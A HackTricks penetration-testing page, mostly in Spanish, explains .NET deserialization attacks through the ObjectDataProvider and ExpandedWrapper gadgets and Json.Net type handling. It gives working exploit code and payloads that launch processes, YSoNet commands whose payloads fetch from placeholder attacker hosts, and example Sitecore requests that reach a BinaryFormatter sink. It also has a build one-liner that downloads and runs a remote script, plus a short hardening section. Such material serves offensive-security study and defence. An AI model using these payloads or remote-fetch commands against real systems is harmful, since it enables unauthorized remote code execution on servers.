Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)

Reading time: 10 minutes

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

This post está dedicado a entender cómo se explota el gadget ObjectDataProvider para obtener RCE y cómo las librerías de serialización Json.Net y xmlSerializer pueden ser abusadas con ese gadget.

ObjectDataProvider Gadget

From the documentation: the ObjectDataProvider Class Wraps and creates an object that you can use as a binding source.
Sí, es una explicación extraña, así que veamos qué tiene esta clase que es tan interesante: Esta clase permite wrappear un objeto arbitrario, usar MethodParameters para establecer parámetros arbitrarios, y luego usar MethodName para llamar a una función arbitraria del objeto arbitrario declarada usando los parámetros arbitrarios.
Por lo tanto, el objeto arbitrario ejecutará una función con parámetros mientras se deserializa.

How is this possible

El namespace System.Windows.Data, que se encuentra dentro de PresentationFramework.dll en C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF, es donde se define e implementa ObjectDataProvider.

Usando dnSpy puedes inspeccionar el código de la clase que nos interesa. En la imagen de abajo estamos viendo el código de PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name

Como puedes observar, cuando se establece MethodName se llama a base.Refresh(), vamos a ver qué hace eso:

Ok, continuemos viendo qué hace this.BeginQuery(). BeginQuery es sobrescrito por ObjectDataProvider y esto es lo que hace:

Fíjate que al final del código está llamando a this.QueryWorke(null). Veamos qué ejecuta eso:

Ten en cuenta que este no es el código completo de la función QueryWorker pero muestra la parte interesante: El código llama a this.InvokeMethodOnInstance(out ex); esta es la línea donde se invoca el método establecido.

Si quieres comprobar que con solo establecer el MethodName se ejecutará, puedes ejecutar este código:

java
using System.Windows.Data;
using System.Diagnostics;

namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ObjectDataProvider myODP = new ObjectDataProvider();
myODP.ObjectType = typeof(Process);
myODP.MethodParameters.Add("cmd.exe");
myODP.MethodParameters.Add("/c calc.exe");
myODP.MethodName = "Start";
}
}
}

Note that you need to add as reference C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll in order to load System.Windows.Data

ExpandedWrapper

Usando el exploit anterior habrá casos en los que el object se va a deserializar como una instancia ObjectDataProvider (por ejemplo en DotNetNuke vuln, usando XmlSerializer, el objeto fue deserializado usando GetType). Entonces, no tendrá conocimiento del tipo de objeto que está envuelto en la instancia ObjectDataProvider (por ejemplo Process). Puedes encontrar más información sobre la DotNetNuke vuln aquí.

Esta clase permite especificar los tipos de objeto de los objetos que están encapsulados en una instancia dada. Por lo tanto, esta clase puede usarse para encapsular un objeto origen (ObjectDataProvider) dentro de un nuevo tipo de objeto y proporcionar las propiedades que necesitamos (ObjectDataProvider.MethodName y ObjectDataProvider.MethodParameters).
Esto es muy útil para casos como el presentado antes, porque podremos wrap _ObjectDataProvider** inside an **ExpandedWrapper _ instance y cuando se deserialice esta clase creará el objeto OjectDataProvider que ejecutará la función indicada en MethodName.

Puedes comprobar este wrapper con el siguiente código:

java
using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;

namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}

Json.Net

En la official web page se indica que esta biblioteca permite Serialize and deserialize any .NET object with Json.NET's powerful JSON serializer. Por lo tanto, si pudiéramos deserialize the ObjectDataProvider gadget, podríamos provocar una RCE simplemente deserializing un objeto.

Ejemplo de Json.Net

Primero veamos un ejemplo de cómo serialize/deserialize un objeto usando esta biblioteca:

java
using System;
using Newtonsoft.Json;
using System.Diagnostics;
using System.Collections.Generic;

namespace DeserializationTests
{
public class Account
{
public string Email { get; set; }
public bool Active { get; set; }
public DateTime CreatedDate { get; set; }
public IList<string> Roles { get; set; }
}
class Program
{
static void Main(string[] args)
{
Account account = new Account
{
Email = "james@example.com",
Active = true,
CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
Roles = new List<string>
{
"User",
"Admin"
}
};
//Serialize the object and print it
string json = JsonConvert.SerializeObject(account);
Console.WriteLine(json);
//{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}

//Deserialize it
Account desaccount = JsonConvert.DeserializeObject<Account>(json);
Console.WriteLine(desaccount.Email);
}
}
}

Abusar de Json.Net

Usando ysoserial.net creé el exploit:

java
yoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}

En este código puedes test the exploit, simplemente ejecútalo y verás que se ejecuta calc:

java
using System;
using System.Text;
using Newtonsoft.Json;

namespace DeserializationTests
{
class Program
{
static void Main(string[] args)
{
//Declare exploit
string userdata = @"{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";
//Exploit to base64
string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));

//Get data from base64
byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
//Deserialize data
string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
}
}
}

Advanced .NET Gadget Chains (YSoNet & ysoserial.net)

The ObjectDataProvider + ExpandedWrapper technique introduced above is only one of MANY gadget chains that can be abused when an application performs unsafe .NET deserialization. Modern red-team tooling such as YSoNet (and the older ysoserial.net) automate the creation of ready-to-use malicious object graphs for dozens of gadgets and serialization formats.

Below is a condensed reference of the most useful chains shipped with YSoNet together with a quick explanation of how they work and example commands to generate the payloads.

Gadget ChainKey Idea / PrimitiveCommon SerializersYSoNet one-liner
TypeConfuseDelegateCorrupts the DelegateSerializationHolder record so that, once materialised, the delegate points to any attacker supplied method (e.g. Process.Start)BinaryFormatter, SoapFormatter, NetDataContractSerializerysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin
ActivitySurrogateSelectorAbuses System.Workflow.ComponentModel.ActivitySurrogateSelector to bypass .NET ≥4.8 type-filtering and directly invoke the constructor of a provided class or compile a C# file on the flyBinaryFormatter, NetDataContractSerializer, LosFormatterysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat
DataSetOldBehaviourLeverages the legacy XML representation of System.Data.DataSet to instantiate arbitrary types by filling the <ColumnMapping> / <DataType> fields (optionally faking the assembly with --spoofedAssembly)LosFormatter, BinaryFormatter, XmlSerializerysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml
GetterCompilerResultsOn WPF-enabled runtimes (> .NET 5) chains property getters until reaching System.CodeDom.Compiler.CompilerResults, then compiles or loads a DLL supplied with -cJson.NET typeless, MessagePack typelessysonet.exe GetterCompilerResults -c Loader.dll > payload.json
ObjectDataProvider (review)Uses WPF System.Windows.Data.ObjectDataProvider to call an arbitrary static method with controlled arguments. YSoNet adds a convenient --xamlurl variant to host the malicious XAML remotelyBinaryFormatter, Json.NET, XAML, etc.ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml
PSObject (CVE-2017-8565)Embeds ScriptBlock into System.Management.Automation.PSObject that executes when PowerShell deserialises the objectPowerShell remoting, BinaryFormatterysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin

tip

All payloads are written to stdout by default, making it trivial to pipe them into other tooling (e.g. ViewState generators, base64 encoders, HTTP clients).

Building / Installing YSoNet

If no pre-compiled binaries are available under Actions ➜ Artifacts / Releases, the following PowerShell one-liner will set up a build environment, clone the repository and compile everything in Release mode:

powershell
Set-ExecutionPolicy Bypass -Scope Process -Force;
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'));
choco install visualstudio2022community visualstudio2022-workload-nativedesktop msbuild.communitytasks nuget.commandline git --yes;

git clone https://github.com/irsdl/ysonet
cd ysonet
nuget restore ysonet.sln
msbuild ysonet.sln -p:Configuration=Release

The compiled ysonet.exe can then be found under ysonet/bin/Release/.

Detección y Endurecimiento

  • Detectar procesos hijos inesperados de w3wp.exe, PowerShell.exe, o cualquier proceso que deserialice datos suministrados por el usuario (p. ej. MessagePack, Json.NET).
  • Habilitar y hacer cumplir el filtrado de tipos (TypeFilterLevel = Full, custom SurrogateSelector, SerializationBinder, etc.) siempre que no se pueda eliminar el BinaryFormatter / NetDataContractSerializer heredado.
  • Cuando sea posible, migrar a System.Text.Json o DataContractJsonSerializer con convertidores basados en whitelist.
  • Bloquear ensamblados WPF peligrosos (PresentationFramework, System.Workflow.*) para que no se carguen en procesos web que nunca deberían necesitarlos.

Sink en el mundo real: Sitecore convertToRuntimeHtml → BinaryFormatter

Un sink práctico de .NET accesible en flujos autenticados del Sitecore XP Content Editor:

  • API del sink: Sitecore.Convert.Base64ToObject(string) envuelve new BinaryFormatter().Deserialize(...).
  • Ruta de activación: pipeline convertToRuntimeHtmlConvertWebControls, que busca un elemento hermano con id="{iframeId}_inner" y lee un atributo value que se trata como datos serializados codificados en base64. El resultado se castea a string e insertado en el HTML.

Ejemplo mínimo de extremo a extremo (autenticado):

// Load HTML into EditHtml session
POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
Content-Type: application/x-www-form-urlencoded

__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
<html>
<iframe id="test" src="poc"></iframe>
<dummy id="test_inner" value="BASE64_BINARYFORMATTER"></dummy>
</html>

// Server returns a handle; visiting FixHtml.aspx?hdl=... triggers deserialization
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
  • Gadget: cualquier BinaryFormatter chain que devuelva un string (los side‑effects se ejecutan durante la deserialización). Ver YSoNet/ysoserial.net para generar payloads.

Para una cadena completa que comienza pre‑auth con HTML cache poisoning en Sitecore y conduce a este sink:

Sitecore

References

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks